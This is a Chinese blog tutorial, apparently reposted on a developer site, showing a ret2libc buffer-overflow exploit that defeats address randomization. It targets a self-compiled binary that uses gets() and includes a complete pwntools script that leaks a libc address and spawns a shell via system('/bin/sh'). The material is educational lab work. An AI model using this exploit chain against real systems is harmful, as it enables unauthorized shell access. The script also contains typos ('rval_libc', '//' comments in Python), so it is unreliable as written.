内容简介:之前我们运用ret2blic技术时,编译编译一个c文件,开启了栈不可执行关闭地址随机化,那么利用这个溢出时只需找到溢出点的位置,然后将其替换成system等函数和参数的地址来获取权限,这种情况下system与’/bin/sh’的地址并不会改变。而现在,我们在编译c文件时,开启了栈不可执行和地址随机化,system和’/bin/sh’会发生改变,那我们该如何获取system等的位置呢?首先,这是我们进行实验的1.c文件,我们可以利用gets()函数来进行溢出我们将其编译设置为栈不可执行和地址随机化
之前我们运用ret2blic技术时,编译编译一个c文件,开启了栈不可执行关闭地址随机化,那么利用这个溢出时只需找到溢出点的位置,然后将其替换成system等函数和参数的地址来获取权限,这种情况下system与’/bin/sh’的地址并不会改变。而现在,我们在编译c文件时,开启了栈不可执行和地址随机化,system和’/bin/sh’会发生改变,那我们该如何获取system等的位置呢?
首先,这是我们进行实验的1.c文件,我们可以利用gets()函数来进行溢出
#include <stdio.h> char buf2[20]="this is buf2"; void vul() {char buf1[10]; gets(buf1);} void main() {write(1,"sinxx",5); vul();}
我们将其编译设置为栈不可执行和地址随机化
gcc -m32 -fno-stack-protector -no-pie -o 1.exe 1.c
接着,找出溢出点的位置:
溢出点的位置为22。
那么,我们要进行最重要的一步,找出system和’/bin/sh’的地址。这里我们需要了解几个知识点:
(1)system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的(即使打开ASLR也是这样的)
(2)在 linux 的gcc使用 C语言 源文件的二进制文件时,经过预处理,编译,汇编,链接过程后,就会生成一个ELF格式的可以执行的文件。例如通过gcc hello.c -o hello即可生成一个文件名为hello的可执行文件,该程序会输出Hello World
(3)PLT表中的数据不是函数的真实地址,即带有@plt标志的函数,起个过渡作用
(4)GOT表项中的数据才是函数最终的地址,而PLT表中的数据又是GOT表项的地址,我们就可以通过PLT表跳转到GOT表来得到函数真正的地址
(5)地址随机化并没有对PLT表、GOT表产生作用
了解到上面的知识点后,可以用下面的思路来获取地址:
(1)找到gets函数的真实地址
(2)计算出system和/bin/sh这两个参数与gets函数真实地址之间的差值,这样就可以找出system与/bin/sh的地址
(3)构造payload进行溢出
那么我们该如何获取gets函数的真实地址呢?
这里可以看见调用了gets()函数,还可以看见gets@plt
那么使用此语句查看PLT表:objdump -d -M intel -j .plt 1.exe
可以看见在我们执行gets函数时,我们会先去到plt表,然后又会jmp到GOT里面的真实地址:0×8049030
接下来我们计算计算system、/bin/sh与gets函数的相对偏移
先加载1.exe依赖的库,ldd 1.exe看程序依赖什么库。相对偏移地址为 gets函数的真实地址减去在libc中的地址:
rva_libc=gets_real_addr-libc.symbols["gets"]
我么就能知道system与’/bin/sh’的真实地址了,分别为:
addr_system=rva_libc+libc.symbols["system"] addr_binsh=rval_libc+libc.search("/bin/sh").next()
接下来我们就可以开始写 python 文件1.py了:
from pwn import * context(arch="i386",os="linux") p=process("1.exe")//加载1.exe进程 e=ELF("1.exe")//加载1.exe文件,分析ELF结构 addr_write=e.plt["write"] addr_gets=e.got["gets"]//gets函数最后的真实地址在got表中 addr_vul=e.symbols["vul"]//由于vul函数是自定义函数,所以在符号表中找到vul的地址 print pidof(p)//便于进行调试 offset=22 pause() payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)/ p.sendlineafter("sinxx",payload1)//sinxx输完之后再输入payloads gets_real_addr=u32(p.recv(4))//将地址转换成32位 libc=ELF("/lib/i386-linux-gnu/libc.so.6")//加载1.exe依赖的库 rva_libc=gets_real_addr-libc.symbols["gets"]//计算相对偏移 addr_system=rva_libc+libc.symbols["system"]//system的真实地址 addr_binsh=rval_libc+libc.search("/bin/sh").next()// '/bin/sh'的真实地址 payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh) p.sendline(payload2) p.interactive()
要注意的是payload1的构成结构,payload1=offset*‘a’+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)我们在call一个函数的时候会先将这个函数的地址压入堆栈,然后将执行完函数要跳转到的地址压入堆栈,再将函数的参数压入堆栈,我们将vul的地址当成函数执行完之后的跳转地址,那么就可以跳转到payload2上。而且为了获取gets的真实地址,调用了write这个函数,然后将got表中gets的真实地址打印出来,其中’1′和’4′是write的两个参数。
而在构造payload2的时候payload2=offset*’a'+p32(addr_system)+p32(0)+p32(addr_binsh)我们需要压入 执行完函数之后要跳转的地址,由于我们进行交互之后不需要考虑是否平衡堆栈,所以这个地址我们写0。
最后我们执行这个python文件,成功获得系统权限:
以上所述就是小编给大家介绍的《ret2libc过地址随机化》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 从 dubbo zookeeper 注册地址提取 zookeeper 地址
- 以太坊中如何判断一个地址为合约账户地址
- Holer 1.1.0 发布,支持在线修改内网地址和邮箱地址
- ipv6中fe80开头的ip地址是什么类型的地址
- 闲谈IPv6-IPv6地址聚类分配原则于源地址选择的关系
- 传值与传地址
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Data Structures and Algorithm Analysis in Java
Mark A. Weiss / Pearson / 2006-3-3 / USD 143.00
As the speed and power of computers increases, so does the need for effective programming and algorithm analysis. By approaching these skills in tandem, Mark Allen Weiss teaches readers to develop wel......一起来看看 《Data Structures and Algorithm Analysis in Java》 这本书的介绍吧!